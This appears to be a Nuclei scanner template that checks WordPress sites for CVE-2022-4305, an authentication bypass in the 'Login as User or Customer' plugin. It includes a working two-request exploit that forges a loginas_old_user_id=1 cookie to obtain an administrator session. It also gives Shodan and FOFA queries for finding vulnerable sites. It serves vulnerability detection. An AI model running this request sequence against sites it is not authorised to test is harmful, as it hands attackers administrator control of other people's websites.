Login as User or Customer < 3.3 - Privilege Escalation

id: CVE-2022-4305

info:
  name: Login as User or Customer < 3.3 - Privilege Escalation
  author: r3Y3r53
  severity: critical
  description: |
    The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.
  remediation: Fixed in version 3.3
  reference:
    - https://wpscan.com/vulnerability/286d972d-7bda-455c-a226-fd9ce5f925bd
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4305
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4305
    cwe-id: CWE-269
    epss-score: 0.06738
    epss-percentile: 0.9384
    cpe: cpe:2.3:a:wp-buy:login_as_user_or_customer_\(user_switching\):*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wp-buy
    product: login_as_user_or_customer_\(user_switching\)
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/login-as-customer-or-user
    fofa-query: body=/wp-content/plugins/login-as-customer-or-user
    publicwww-query: /wp-content/plugins/login-as-customer-or-user
  tags: cve,cve2022,wpscan,wordpress,wp-plugin,wp,login-as-customer-or-user,auth-bypass,wp-buy

http:
  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=loginas_return_admin HTTP/1.1
        Host: {{Hostname}}
        Cookie: loginas_old_user_id=1
      - |
        GET /wp-admin/users.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code_2 == 200
          - contains(header_2, "text/html")
          - contains(body_2, 'Edit Profile') && contains(body_2, 'All Posts')
        condition: and
# digest: 4a0a0047304502205b4002156d1c417b4a74937e2f1bb1c82514f584482b5e1a94eb404455a62e81022100cdac344e67d48a061606190191c8031971d2aa0904472b94f44a35380bb5f7c5:922c64590222798bb761d5b6d8e72950